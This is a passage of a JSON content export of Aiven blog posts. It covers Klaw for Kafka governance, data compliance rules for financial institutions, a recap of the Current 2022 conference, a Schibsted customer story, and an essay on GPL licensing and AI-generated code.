it with significant improvements. Keep an eye out for the next release!\n\nIn the meantime, here are some resources to browse:\n\n- [The Klaw project page](https://www.klaw-project.io/)\n- [Klaw documentation](https://www.klaw-project.io/docs)\n- [Klaw on GitHub](https://github.com/aiven/klaw) \n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"86970004fc14","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"4cc791a33a6d","_ref":"0cdf6922-1dca-475f-b8ec-584368c1ddb0","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-9074e07d23f930b160ef9be7ded118fa58102f70-2500x1308-png","_type":"reference"}},"publishedAt":"2023-01-23T14:16:58.488Z","related":[{"_key":"5e723314101a","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"},{"_key":"b461513721cd","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Klaw’s recent updates have introduced new interesting features and streamlined workflows. Learn about its rapid growth and visit the Aiven blog! "},"slug":{"_type":"slug","current":"/blog/klaw-in-2022-simplifying-apache-kafka-data-governance"},"subtitle":"Since its initial release in the fall of 2022, Klaw’s two minor releases have brought new features and simplified its workflows. Find out how much Klaw grew and improved in just two short months. ","title":"Klaw in 2022: simplifying Apache Kafka data governance"} {"__i18n_lang":"en","_createdAt":"2024-05-20T04:38:42Z","_id":"ea45396f-c903-489e-97be-3cd4dc25e6fe","_rev":"sEwq5NBiPauorOxrhieFjL","_type":"post","_updatedAt":"2024-11-19T09:37:12Z","authors":[{"_key":"f8202a0f9c67","_ref":"167bca61-78ce-412f-a44e-1495de770f99","_type":"reference"}],"body":"As regional data regulations tighten and data management becomes more complex, keeping ahead of changing compliance requirements has never been more mission critical for financial services institutions (FSIs). With just over twelve months to go before the new policies come into effect, organisations must act now in order to review and close any compliance gaps or face the consequences. In our recent blog [‘The Top Two Misconceptions as FSI Compliance Requirements Tighten’](https://aiven.io/blog/the-top-two-misconceptions-as-fsi-compliance-requirements-tighten) we explored the impact and common misconceptions around changing compliance laws. Now we’re digging deeper into data, and what data management and use means for FSIs in coming years.\n\n\n## The changing demands on FSIs\n\n[As we touched on in our previous blog](https://aiven.io/blog/the-top-two-misconceptions-as-fsi-compliance-requirements-tighten), FSI organisations are increasingly looking at how they can adequately protect themselves against single-supplier failure, the results of which can shut down a business \u0026 put consumers at risk of significant losses. This means making sure you have more than one copy of your data housed in different locations along with the ability to easily move in and out of supplier arrangements. \n\n**Changing laws and regulations are requiring FSIs to increase their resilience and protect their operations and customers against misadventure or attack.** Data is a huge focus for new and evolving regulations, and for good reason. Data management and future-forward vendor agreements can spell the difference between success or failure - against both heightened customer demands and tightening compliance requirements.\n\n\n## Changing regulatory environments\n\n**New country or region-specific prudential standards are already regulating how FSIs handle their data** and these are only set to tighten further. For instance, data localisation laws and policies are becoming more prolific as governments aim to increase protections for citizens’ data by bringing decision making and access rights within jurisdictional boundaries. While this can increase security and individual protection, **it can also inhibit data flow leading to disruption of innovation** and productivity and make adherence to policies very difficult.\n\nAs an example, **in Japan**, in April 2022, the **Amended Act on the Protection of Personal Information** came into force. This regulation centres on requirements for cross-border data transfers, requiring a data exporter to provide data principals with certain information about the transfer, including the destination country and the safeguards in place at the data importer.\n \n**Within Australia**, [**CPS 230**](https://www.apra.gov.au/operational-risk-management), scheduled to take effect from 1 July 2025, will apply to all Australian Prudential Regulation Authority (APRA) regulated entities in financial organisations, where new requirements for risk management will be introduced. \n\nSimilarly, **New Zealand passed its Privacy Act in 2020**. This Act is regulated by The Office of the Privacy Commissioner (OPC) and introduced a new requirement on international data transfers. Essentially, the party transferring personal data across borders must ensure the recipient adheres to privacy laws with comparable safeguards, or the recipient is required to adequately protect the information. If these terms aren’t upheld, the party must disclose this information to the owner of the personal data.\n\n**Singapore has also passed its Personal Data Protection (Amendment) Act 2020**, which restricts transfer of personal data outside of Singapore, unless appropriate safeguards to protect personal data are in place.\n\nThese changes, which are mirrored across many markets, have a similar focus: to **ensure organisations are protecting against risk events, ensuring resiliency, and protecting all relevant entities and groups**. This includes managing risks arising from service providers, which is where the all-important vendor relationship is shown up. \n\n\n## The impact of changing consumer demands on data management\n\nThese regulations coincide with changing consumer demands and expectations. From a consumer perspective, there is much greater awareness and demand around both mobility of service and security of data. **High profile data breaches have made security top of mind**, and **the risk of data loss from a single supplier** was cast into the spotlight with a weeklong outage for an Australian superannuation fund following the loss of their cloud account. \n\nQuite rightly, **consumers demand that their data is private and secure** – a basic expectation that unfortunately is not always upheld. An absolute baseline for adhering to this is ensuring systems are up-to-date and well-maintained. In addition, consumers want always-on access and ease-of use.\n\nAgain, this is also not always the case. A global payments platform recently ran a maintenance update which knocked out global transactions for a day. The update was pushed out in the middle of the night in the United States where the company’s headquarters is, which would have seemed reasonable for the customers in this region. However, the move adversely impacted global customers. This kind of example begs the question, **how can global companies now maintain the efficacy of systems and processes**, not to mention adhere to new regulations and regional laws, **while still ensuring consumers have an optimal experience?**\n\n\n\n## Technology partners lead to success or struggle for FSIs\n\nThe right technology partners can help FSIs prepare for risk events, maintain data flow, and adhere to new compliance laws and regulations.\n\nIt is important to look for partners that offer **flexibility to FSIs in terms of data storage, but also adhere to operational compliance in line with** local, regional, and global market **regulations.** In this way, the customer retains peace of mind about where FSIs store their data. Another consideration, especially for FSIs operating across geographies, is selecting **a partner that can deliver continual engineering support for multiple cloud environments and a ‘follow the sun’ approach to customer service.**\n\nAn open source, multi-cloud data platform also addresses other challenges of our modern, data-heavy world with smart solutions that directly alleviate pain points. This includes cross-cloud deployments as mentioned above, as well as cross-region and cross-cloud migration and replication. There are many benefits of open source, cross-cloud deployments, including the ability to:\n\n* Run FSI services on **any major public cloud platform** chosen by the business.\n* **Leverage cross-cluster migration and replication to distribute data** and workloads to minimize geo latency, reduce costs, meet various regulatory requirements, and to provide greater resiliency through cross-region and cross-cloud disaster recovery.\n* **Eliminate vendor technology lock-in** by leveraging widely-adopted technologies to better manage both risk and costs.\n* **Reduce the impact of vendor-specific skills shortages** and resourcing risks by leveraging the same open source technologies across your multi-cloud environment.\n\nThe ability to deploy popular technologies once, like Apache Kafka, PostgreSQL, MySQL, and others, and use them in one or multiple clouds offers tremendous flexibility to FSIs. Also, FSIs **no longer need to hire and maintain vendor-specific skill sets**, nor manage the complexities of their mult-cloud implementations. \n\nWhen it comes to open source, in 2023, **Apache Kafka led the global big data processing industry** as the top technology with a [market share of 16.88%](https://www.statista.com/statistics/1258671/big-data-processing-software-market-share-technology-worldwide/). In addition, as of November 2023, the **most popular open source database management system** (DBMS) [in the world was MySQL](https://www.statista.com/statistics/1131602/worldwide-popularity-ranking-database-management-systems-open-source), followed by PostgreSQL. These technologies can become all the more attainable when teaming up with a partner that is specialised in them.\n\n## Our customers: real-life examples of the power of robust data infrastructure in action\n\n[Netfonds](https://aiven.io/case-studies/netfonds-focuses-on-innovation-and-customer-service), the German technology company, came to Aiven to support the growth of finfire, the company’s independent software platform for financial advisors, fund managers, and insurance brokers. Through a strong partnership, Aiven now plays an ongoing role in the delivery of finfire. Aiven for Apache Kafka ensures that real-time data moving through finfire is updated in each of the 60 Kafka topics and 60 different microservices in operation. This removes pressure from the internal team so they can drive greater business value and helps Netfonds to remain compliant according to data.\n\n\u003e We needed a compliant vendor within the Google universe. Our compliance team really liked that, with Aiven, we continue to be flexible and agile, and have the ability to change cloud provider quickly if necessary. It’s also important that we can connect our Google resources — like our BigQuery data warehouse — to the Aiven platform, and they are able to communicate without boundaries. Aiven’s pre-built integrations bring real value to our team. \n**Nis Christian Carstensen, CTO at Netfonds**\n\nAiven also works with [Revenir](https://aiven.io/blog/brian-wagner-revenir-a-collaborative-cto), a London-based fintech that automates tax recovery through partnerships with banks, governments, and digital receipt companies. As a company in the financial sector, it was crucial that CTO, Brian Wagner, was able to balance data management with cybersecurity and remain compliant with national and international regulations. With its open source data platform, Aiven not only helped to balance these needs, but gave Revenir access to a collaborative community that continually seeks and develops innovative solutions to these challenges.\n\nMeanwhile, [Digital Asset Research (DAR)](https://aiven.io/case-studies/digital-asset-research-boosts-resiliency-with-aiven), the high-growth start-up in the marketplace of digital assets, has teamed up with Aiven to enhance data transparency and quality for more than 200 million trades per day, ensuring 99.99% uptime for scalable data streaming, lowering costs by 10%, and improving performance by 10 times.\n\n\u003e Aiven for Apache Kafka provides incredible resiliency which, given the importance of uptime to our business, is invaluable to us.\n**Michael Zimberg, Chief Technology Officer, Digital Asset Research**\n\nEnsuring your company is ready for 1 July 2025 when CPS230 comes into effect doesn’t have to be daunting or create additional workload and stress for your compliance and IT teams. However, it does need to be well planned to ensure there are no surprises that could leave your organisation vulnerable. Act now and make sure you choose the right technology partner who understands CPS230 and will deliver a robust, cross-cloud data management strategy that ensures total peace of mind and 24/7 compliance for your organisation.\n\n[Get in touch with Aiven](https://aiven.io/book-demo) to see how you can improve your compliance and risk management while also maximising your tech spend.\n\n\n","categories":[{"_key":"ed48fd325dfd","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"e3f3a9a0f8bb","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"},{"_key":"83645ca2799f","_ref":"c8ba2bda-6228-45e2-b987-b3fdf836c6c9","_type":"reference"},{"_key":"b046a01aa2c2","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Understanding Data Management in the Face of Changing FSI Compliance Laws blog cover","asset":{"_ref":"image-288565a9779a22f3640e7f9be6dc1ee00bb602f3-1567x844-png","_type":"reference"}},"publishedAt":"2024-05-20T01:44:00.000Z","related":[{"_key":"bab450f51624","_ref":"c714d04b-cc8e-46fe-9d59-bbb0b097127e","_type":"reference"},{"_key":"6674ab60d5c0","_ref":"96b49d13-c145-4582-bb49-71ec502a7f36","_type":"reference"},{"_key":"5964861ccb33","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"FSIs face regulatory pressures to boost resilience and technology partners like Aiven can support them in meeting these demands. Find out more in our blog!","metaImage":{"_type":"mainImage","alt":"Data Management in the Face of Changing FSI Compliance Laws","asset":{"_ref":"image-288565a9779a22f3640e7f9be6dc1ee00bb602f3-1567x844-png","_type":"reference"}},"metaTitle":"Data Management in the Face of Changing FSI Compliance Laws"},"slug":{"_type":"slug","current":"/blog/understanding-data-in-the-face-of-changing-fsi-laws"},"subtitle":"Changing regulations are requiring FSIs to increase their resilience and protect their operations and customers against misadventure or attack.","title":"Understanding Data Management in the Face of Changing FSI Compliance Laws"} {"__i18n_lang":"en","_createdAt":"2022-10-13T16:09:51Z","_id":"82a1637d-5efc-48bc-b332-3cd0959035d1","_rev":"h4ancfFTuSnQNBSq3IkmIO","_type":"post","_updatedAt":"2024-11-19T08:24:54Z","authors":[{"_key":"182d584e39b4","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"},{"_key":"9f6aaa11244e","_ref":"3UGFZYFBoYjMPg7DR9R9YZ","_type":"reference"},{"_key":"72fdeed07de9","_ref":"d85943fb-1e96-4f71-84f9-91011d917141","_type":"reference"},{"_key":"736deb128e2d","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"The Aiven team was at the Current 2022 event last week joining many folks, speakers and the event streaming community in Austin. The event took place on October 4-5, 2022 and had the ambitious goal of expanding the grounds of the well-known and much-loved Kafka Summit. Current 2022 broadened the scope of the former Kafka Summit event to include a plethora of event streaming technologies and frameworks, including but not limited to real-time data processing, streaming storage, streaming databases and many other technological domains. \n\nAttendees who worried that Apache Kafka® would not receive enough attention in the conference agenda during Current 2022 were awestruck to see that the program committee managed to include 50% more Apache Kafka content this year! Nonetheless, the audience at Current 2022 was offered a bigger and wider range of sessions on a variety of topics such as real-time analytics, data governance and streaming. The session quality was so high this year that the only challenge was how to be in multiple locations at the same time. On our behalf, we would like to congratulate and thank the conference organizers and the entire program committee for giving us two days of amazing content! \n\nThose who prioritized networking could fully enjoy that as well. The event was packed with leaders and professionals from different industries across the whole spectrum of data technologies. Special attention was given to diversity and inclusion, which helped Current 2022 bring different people together to learn, share their experiences and expertise, and network in a supportive and encouraging environment.\n\nIn the following paragraphs, we'll do our best to transfer the atmosphere of the event and share some of our key observations from both the keynote and breakout sessions across both days of the conference.\n\n\n## Keynotes: Apache Kafka® and Streaming Era\n\nCurrent 2022 featured inspiring keynotes, focusing on real-time data streaming, its history, evolution, and the role that Apache Kafka® has played over the years, as well as giving us a glimpse of what’s in store for Kafka in the future.\n\n![keynote with Jun Rao](https://cdn.sanity.io/images/sczeoy4w/production/4b392ed6d565ebee5be682ca4194e851fb4cdf0f-1600x616.png)\n\nJay Kreps, CEO of Confluent, opened the first keynote of the conference talking about the key turning point in handling data and witnessing the rise of a major data platform. This data platform, like a central nervous system across any organization, will help to connect different outposts into a coherent environment that stores, connects, processes, governs and shares the data. The emergence of this streaming data platform unites operational databases, SaaS applications and analytical systems into a single ecosystem that drives innovation and unlocks an even broader set of use cases.\n\nTo illustrate this Glan Merlino, co-founder and CTO of Imply, and Anush Kumar, VP of Technology at Expedia, took the stage and shared their stories of how data streaming influences their products and business. Streaming data is all about constant change, which reflects life in a more authentic way.\n\nThe second keynote of the day was presented by Jun Rao, co-founder of Confluent, and covered the journey of Apache Kafka® through time; its history and the motivation behind its creation, how it evolved and what is the path for Apache Kafka® in the future.\n\nIn particular, Jun focused on the improvements that were made to Apache Kafka® and its wider ecosystem over the past year. Many of those focused on performance, security and reliability. More connectors, client libraries and a wealth of stream processing engines were introduced.\n\nOne of the notable changes that was implemented recently in Kafka was the replacement of Apache Zookeeper® as Kafka’s control panel with KRaft. Ismael Juma shared the story of KRaft, a new control panel that helps Kafka scale better and run with millions of partitions. The journey to build KRaft started 3 years ago, and finally with Kafka 3.3 it is production ready.\n\nJun was later joined on the stage by Pritha Mehra, Chief Information Officer at United States Postal Service and shared how Apache Kafka® enabled the USPS, using an event streaming architecture, to administer millions of COVID-19 test kits throughout the United States when the pandemic hit back in 2020. \n\n## Common Topics emerging from Current 2022\n\nWhile the sessions at Current 2022 covered multiple themes this year, we were able to identify some common topics among sessions, panel discussions and community conversations. Some of them were: \n\n### Data Governance is seen as paramount for event streaming\n\nAs the adoption of event streaming grows across organizations (and also within an organization), so does the complexity of managing and operating Kafka in a secure and compliant way. With more Kafka clusters and topics created by multiple teams and systems producing and consuming data from these topics, having a unified and centralized way to ensure that the right teams have access to the right streaming data oftentimes becomes a bottleneck for operations teams. \n\nAt Current 2022 we saw the theme popping up again and again in discussions and sessions. Specifically, Vanessa Burckard from the Social Security Administration discussed their approach of Data Governance as a Service for their internal teams, and how this helps streamline Kafka adoption for new use cases for the organization. Other discussions focused around how you can leverage a cloud service’s integrated security and governance controls to set up appropriate governance tooling for your Kafka environments. \n\nFrom Aiven’s side, we were happy to see an increased demand for data governance tooling around Kafka, as this is directly in line with our recent acquisition of Klaw (formerly Kafkawise) and our intention of building an open source community around it to ensure the appropriate governance between teams managing and building Kafka workloads. You can find more information about Klaw [here](https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance).\n\n### Batch vs. Streaming: Is Batch going away? And what does the future hold for both?\n\nThroughout the conference, the theme of Batch vs. Streaming was apparent. Discussions covered how they can be unified, how batch processing’s performance can / must be improved for real-time applications, and more. There was even a dedicated panel discussion with Adi Polak, Amy Chen, Eric Sammer and Tyler Akidau discussing the state of streaming adoption today, and debating if streaming will ever fully replace batch. You can view some interesting points from the panel discussion in the [Twitter thread from Robin Moffatt]( https://twitter.com/rmoff/status/1577765190980014083?s=20\u0026t=B4mqi_FvH4UCa6ttISAGMg).\n\n### Getting performance right is not easy\n\nPerformance is always a hot topic in any tech conference, and Current 2022 was no exception. Several talks followed this theme, like Gunnar Morling’s \"Keep the Cache always fresh\" talking about CDC and caching mechanism; or Olena Kutsenko’s \"Beginners Guide to Balance Your Data Across Apache Kafka Partitions\" addressing the correct usage of partitioning.\n\nThe topic of performance was also discussed in Ben Gamble’s \"Going Multiplayer with Apache Kafka\" detailing how Kafka and stream processing can be used to power real-time multiplayer and multiuser interactions. The set of examples included a live chat, concurrent document editing, and even Minecraft. Ben was not only showing cool demos, but also reviewing and discussing some of the streaming data topologies required to support them. \n\nOn a similar topic, Francesco Tisiot's “Breathe in and breathe out: get Kafka Connect configs right” defined the struggles of starting with Kafka Connect and shared some magic tips to start a connector and keep it running properly. From preparing the field by creating the needed resources, passing on through validating the requirements and the network path, and finishing up with version control and automatic deployment, Francesco shared a lot of information that can make the Kafka Connect experience smoother and more reliable.\n\n## Diversity and inclusion\n\nSpecial place at Current 2022 was given to the support of members from underrepresented groups with a goal to build a diverse and inclusive community within data streaming.\n\nIn particular, at the panel #IamRemarkable, which was organized by Google, the panelists talked about how cultural and gender norms may prevent us from talking about our accomplishments and sharing our achievements. The leaders shared advice on how to overcome such challenges to improve self-promotion. \n\nIn addition, the 'Intersectional Happy Hour' that took place on the same day gave attendees from underrepresented groups and allies the opportunity to meet each other, network and chat in an informal setting. Those who didn’t have a chance to come to Intersectional Happy Hour joined the ‘Intersectional Speed Networking Hour’ on the second day of the conference. \n\n## Conclusion\n\n![keynote with Jun Rao about community](https://cdn.sanity.io/images/sczeoy4w/production/f8a0d47c2043ac48c7cf1920b6205c57bf2bfae6-1600x578.png)\n\nAt Current 2022 one thing became clear: Apache Kafka® is growing at an unprecedented pace as the adoption of streaming data becomes the de facto paradigm in building and maintaining modern data systems across organizations of any size and industry. And none of this would be possible without the Apache Kafka® community at its core. All those who share their time and energy to both contributing code to Kafka, and improving its community experience by sharing their expertise, are ensuring that Kafka continues to thrive as an ecosystem.\n\nWe at Aiven are beyond excited to be part of such a vibrant and inclusive community and cannot wait to meet them at a future conference about event streaming soon! \n\n![The catalysts group](https://cdn.sanity.io/images/sczeoy4w/production/401b9099922650bb2057373cc871d73dcfafd63b-1359x1091.png)\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.","categories":[{"_key":"9cde8c1d3853","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"8267ae7de930","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-307b66ea827c8c5aa5a8c55a736ed25ad4374f4f-3133x1688-png","_type":"reference"}},"publishedAt":"2022-10-14T12:41:43.403Z","related":[],"seo":{"_type":"metaData","metaDescription":"Learn what our Aiven team thought of Current 2022, the successor to Kafka Summit. Get interesting insights from the event and learn about the key takeaways!"},"slug":{"_type":"slug","current":"/blog/current-2022-recap"},"subtitle":"Current 2022 was this year's successor to the Kafka Summit series of conferences. Read on to find out what our Aiven colleagues thought of this new event (hint: it was very good!).","title":"What is 'Current' with data streaming?"} {"__i18n_lang":"en","_createdAt":"2023-06-09T07:38:46Z","_id":"7b886c5e-716d-4605-894a-41347e6a0801","_rev":"h4ancfFTuSnQNBSq3ImJwi","_type":"post","_updatedAt":"2024-11-19T08:39:05Z","authors":[{"_key":"a9bb6c49a932","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"How do established media companies survive in the digital age? That’s the question challenging newsrooms and board meetings around the world. For Schibsted Media Group, the largest media group in Scandinavia, part of the answer has been expansion into the digital space and seeking to be data-driven.\n\nSchibsted is a world-class media house, and today offers financial services as well as online marketplaces that connect buyers and sellers throughout Europe’s Nordic region. It’s a highly successful model and advertising sales from the new marketplaces has become a major revenue stream for the business. In Q4 2022, Nordic Marketplaces delivered underlying revenue growth of 6% driven by double-digit growth in classifieds revenues. It’s also a model that relies on high-performance IT systems and rapid data throughput, explains Joanna Eriksson, Staff Data Engineer, Schibsted.\n\n## Handling variable traffic volumes\n\nEriksson’s team enables collection and distribution of behavioral data which allows to create value in multiple ways: by enabling news sites to cover most relevant news fast, to deliver personalized experience for marketplaces users and enable advertisers to deliver targeted messaging. It’s a complex system that handles 1.2 billion ‘events’ every day. On normal days, peak traffic is about 90,000 events per second while on the occasion of major breaking news it can increase by 50%.\n\nAbout seven years ago, Schibsted set-up its data processing pipeline for tracking events and to transfer event data between various applications at speed. It used an Apache Kafka® cluster hosted in Amazon Web Services — the cloud made it easier and more cost effective to manage the regular spikes in traffic volume. “The cloud enables us to focus on our core business. It’s good to be able to abstract away a lot of the operations that come with having our own physical hardware,” explains Eriksson.\n\n“We chose Apache Kafka as our data-streaming platform because it’s ideal for event-driven applications and near real-time data transfer,” Eriksson says. “It’s well known for its excellent performance, low latency, fault tolerance and high throughput. It's capable of handling hundreds of thousands of events per second. It was just what we needed and unlocked new use cases.”\n\n## Resiliency equals revenue\n\nAt the beginning, the open-source technology delivered what Schibsted needed but as demands increased, its performance was put under increasing pressure. The Kafka platform is critical because it directly impacts the EUR 230 million Schibsted generates each year through ad revenue. As Eriksson explains, “If the Kafka pipeline goes down, it impacts our ability to measure and understand user activity which also directly affects revenue from advertising. The link is very clear.”\n\nSchibsted’s digital media subscriptions also generate significant and growing revenues for the company. “Subscription customers rightly expect to see relevant content when they log in,” says Eriksson. “And that content is based on the data that we collect and provide. The paid experience needs to be superior to the free experience.”\n\nThe Kafka cluster therefore needs to be highly stable, and Eriksson’s team was becoming increasingly concerned that the stability it needed was lacking. “We were pushing our Kafka cluster to the limit with heavy workloads. Our team needed to become Kafka experts to keep the system optimized. It just wasn’t possible,” says Eriksson.\n\n## Delivering 99.99% uptime\n\nThat’s when Aiven came on to the scene and Schibsted switched to Aiven for Apache Kafka®, running on AWS. With Aiven managing the system on its behalf, Schibsted is now benefiting from 99.99% uptime providing Eriksson’s team with the reassurance it needed. The service has resulted in significant improvements in stability, even in periods of very high traffic when it comfortably handles 135,000 events per second, much more than was possible previously.\n\n\u003e “We have millions of Euros in ad revenue depending on this system so the potential downstream impact of interruption to our Kafka service is huge,” says Eriksson. “With Aiven for Apache Kafka, at last we have a high performance, low latency and super resilient platform managed by someone else.”\n\nOn the occasion when issues do arise, Schibsted has access to the Aiven support team 24/7 to figure out what is going on and fix it. “The Kafka experts at Aiven have gone above and beyond what we expected, even advising on elements that fall outside what is managed by Aiven. They’ve helped us with debugging issues in our own applications and advised on parameters we can tweak on our side to optimize the performance of the system,” Eriksson says.\n\n\u003e “You can’t predict when issues will happen—they usually end up being at really inconvenient times like Christmas eve rather than 10am on a Monday,” says Eriksson. “Now we have Aiven experts who can help us figure things out in those stressful situations so no more festive panics for us!”\n\nAs Schibsted continues to deliver more user and customer value through its marketplaces, and strengthens its classifieds offerings, the work of Eriksson’s team will become even more critical to the business. With Aiven for Apache Kafka, the team has a resilient Kafka cluster that can keep pace with the business and scale as required.\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"5cvXfd4th8X0qfJIQWtMUN","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-ee19976ad18c2020d5cc0d6c1b33ac33af301ef7-3295x1724-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Protecting Data-Driven Revenues at Schibsted","asset":{"_ref":"image-ee19976ad18c2020d5cc0d6c1b33ac33af301ef7-3295x1724-png","_type":"reference"}},"publishedAt":"2023-06-09T07:56:48.592Z","related":[],"seo":{"_type":"metaData","metaDescription":"Schibsted Media Group relies on Aiven’s Apache Kafka® for stable, timely data insights, boosting business value. Find out more about the cooperation!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1fd19c105f01a2e214a87a2190cfe9db07c8ee0d-3295x1724-png","_type":"reference"}},"metaTitle":"Protecting Data-Driven Revenues at Schibsted"},"slug":{"_type":"slug","current":"/blog/protecting-data-driven-revenues-at-schibsted"},"subtitle":"Aiven helps Schibsted Media Group maintain a stable Apache Kafka® cluster essential to making timely data-driven business decisions and creating business value out of data ","title":"Protecting Data-Driven Revenues at Schibsted"} {"__i18n_lang":"en","_createdAt":"2024-09-23T08:48:37Z","_id":"683f7571-0cb4-41a0-b151-2e2c89b41404","_rev":"T130WEs22RB6SoEkOBf1MG","_type":"post","_updatedAt":"2024-11-19T08:41:16Z","authors":[{"_key":"692262bec92f","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"The difference between working on open source software (OSS) and a commercial or proprietary product comes down to how that software is licensed. The latter is the intellectual property of an individual or company and cannot be tampered with by external developers, additionally, more often than not, its source code is only available to its creator. There is a long list of licenses that govern open source software. We have licenses that are, so called, permissive and others, so called copyleft. The General Public License (GPL) family of licenses belongs to this latter subgroup, the copyleft one. As with all open source licenses, it is intended to guarantee freedom to use, share and change all versions of a program. However, the license has a condition which means any modification of the software needs to be released under the same license as the original. If a developer is modifying a piece of code under a GPL license, it means that whatever comes out the other end also needs to be covered by the same license. This is a way to guarantee that the software under this license will remain forever open source.\n\nIn the days before AI, this was well known and many companies had policies on which type of licensed open source software was fine to include or copy over. And this worked fine because code snippets had a usually traceable lineage. However today, that is not the case which has created a legal landmine. A developer might be using AI for assistance, sometimes sharing a problem statement that the AI should provide some code for and possibly making minor tweaks to what AI suggests but the problem is, where is this code coming from? This is challenging on a number of levels. We looked at the practicalities in an earlier blog but, from a moral and ethical point of view, it is one of the main drivers fanning the flames of the ownership of creativity debate.\n\n## A monkey called Naruto\nWe can chart this back to a monkey. Not Darwin (we’re way ahead of him now) but a monkey called Naruto. You may not know him by name but you’ll likely have seen his face. He’s famous for taking a (brilliant) selfie in 2011 with a wildlife photographer’s camera. It also started a years-long saga in which the U.S., The Copyright Office and even Wikipedia weighed in over the issue of ownership. The upshot being that it was agreed, by law, that the only group able to own creativity are us humans - not animals and certainly not machines.\n\nBringing it back to AI, what this sentence tells us is that anything that is not human cannot create something new. That they do not have the capacity for creativity but, instead, can only tweak existing materials. Because of this, it means copyright can only be attributed to something new and therefore any modification is opening the door to copyright infringement.\n\nThat means that, legally speaking, machines cannot own copyrights because they are not creating things but taking things that already exist, making this output a derived work and not a novel one. Even the world’s most powerful wizard isn't immune. There are stories of AI regurgitating elements of the Harry Potter script as new ideas while, only last year, Stephen Fry said his voice was stolen from the Harry Potter audiobooks and replicated by AI. This isn’t to say that AI is the source of all copyright issues. We humans have been dealing with this controversy for years, for example in music where authors get inspiration from others (most recently with Ed Sheeran v Marvin Gaye) or the replication in storylines from Dune to Star Wars. The difference now is that machines are involved and cannot be judged by the same standards purely because we have deemed that only humans are capable of innovating and creating.\n\n## The law of unintended consequences\nThe technology world is in a state of permanent reflection regarding this matter. What is creativity? Can machines be creative and do we want them to be? Are we opening the door to Skynet and is the fear real? Professor Stephen Hawking told the BBC in 2014 that, “The development of full AI could spell the end of the human race….It would take off on its own, and re-design itself at an ever increasing rate. Humans, who are limited by slow biological evolution, couldn’t compete, and would be superseded.” \n\nWhat we can gather from this is that, if we agree that machines can create, it solves today’s problem. They can create new work based on code they learned from GPL license software and be influenced by multiple sources, much like we do as humans. Unfortunately this is almost the embodiment of ‘the law of unintended consequences’. We might solve copyright infringement today but it might come at great expense in the long run. \n\n## Balancing innovation with integrity\nIn order to move forward, what is required is traceability. Users of AI, and in this particular case, developers, need to know exactly where code originates from so they know what they’re working with. The most common OS licenses already require attribution but, if AI learns from projects licensed under those ones and outputs a piece of code that is almost verbatim to it, the traceability and attribution gets lost which is where the problems start. Maybe licensing will come that will prevent source codes to be used in training so we can mitigate this issue but, even still, attribution would still be a problem that remains to be solved.\n\nWe also addressed ways that organizations can help protect themselves and developers in a piece that explored the set-up and remit of an AI Tactical Discovery team - more on that here. The bigger picture is that we need to start imposing guardrails on what AI can and cannot do. This is happening or being considered at a regulatory level. For example, the UK recently released the outcome of a consultation with an ‘approach that is strongly pro-innovation and pro-safety’. Most of the software foundations are coming up with their own set of guidelines too because, as AI creativity capabilities grow, we'll have to grapple with how to balance innovation with integrity. \n\nHow can we use AI to spark human creativity while still cherishing that special, intangible touch only a person 